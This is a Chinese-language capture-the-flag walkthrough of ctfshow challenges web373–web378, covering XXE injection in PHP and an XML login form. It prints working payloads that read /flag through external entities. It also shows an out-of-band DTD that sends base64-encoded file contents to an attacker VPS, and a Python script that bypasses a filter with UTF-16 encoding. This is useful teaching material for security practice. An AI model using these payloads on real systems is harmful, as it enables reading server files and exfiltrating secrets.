目录
- web373
- web374
- web375
- web376
- web377
- web378
web373
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
这部分代码创建了一个 DOMDocument 对象并加载 XML 数据。
LIBXML_NOENT 选项允许替换 XML 实体,LIBXML_DTDLOAD 允许加载外部 DTD 。
simplexml_import_dom($dom);
这行代码将 DOMDocument 转换为 SimpleXML 对象,方便以对象的形式访问 XML 内容。
$ctfshow = $creds->ctfshow;
这行代码从解析的 XML 中获取 ctfshow 元素的内容。
echo $ctfshow;
将获取的 ctfshow 元素内容输出到页面或终端。
简单来说题目会打印出传入的xml代码里面ctfshow标签里面的内容
利用代码可以加载外部实体的漏洞,传入下列payload即可得到flag
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>
外部实体定义格式:
<!ENTITY 实体名称 SYSTEM "URI">引用时在名称前面加&,显示的就是该实体的值
web374
无回显xxe,考虑外带
自己VPS上写个pd.dtd
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://你vpsip:4444/%file;'> ">
%all;
%send;
VPS执行命令python3 -m http.server 4444
回到题目。
bp发包post提交
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxxx:4444/pd
.dtd">
%dtd;
]>
可以看见服务器上有带着base64编码的请求,解码就是flag
web375
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
做法照抄上面那题就行
web376
这题和后几题把xml头给过滤了,不过没什么影响,和上题一样做法
web377
把http给过滤了,看这位大佬写得文章
用其他编码绕过
import requests
data="""<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx.xxx:4444/pd.dtd">
%dtd;
]>"""
url="http://5401b2aa-db53-4957-b82b-45a89e7cf879.challenge.ctf.show/"
res=requests.post(url,headers={'User-Agent':'Mozilla/5.0'},data=data.encode('utf-16'))
print(res.text)
回到VPS看照样有带base64的请求记录,解码即可得到flag
web378
随便输入登录抓包重放
查看页面源代码发现有段js代码
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
大概意思是
使用 jQuery 的 $.ajax() 方法发起一个 POST 请求。
type: “POST”:指定请求方法为 POST。
url: “doLogin”:请求的目标 URL 是 doLogin,这可能是服务器的登录处理接口。
contentType: “application/xml;charset=utf-8”:请求的内容类型是 application/xml,表示发送 XML 数据。
data: data:将前面构建的 XML 数据作为请求体发送到服务器。
dataType: “xml”:预期服务器返回的是 XML 格式的数据。
async: false:设置为同步请求(不推荐,可能会导致浏览器卡顿,应设置为 true,即异步)。
如果请求成功,服务器会返回一个 XML 格式的响应。
result.getElementsByTagName(“code”):从服务器返回的 XML 中提取 <code> 标签的内容。code 通常表示状态码,比如登录是否成功。
code == “0”:登录失败,显示失败信息。
code == “1”:登录成功,显示成功信息。
其他情况:显示通用错误信息。
msg:从 <msg> 标签提取的消息,用于显示提示信息。
$(".msg").text(…):使用 jQuery 更新页面上的某个元素(假设 msg 是一个显示提示信息的元素)的文本内容。
改变账号登录抓包,发现msg标签内容跟着变
由此判断username处存在xxe注入
这其实相当于有回显xxe了
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag"> ]>
<user><username>&xxe;</username><password>111</password></user>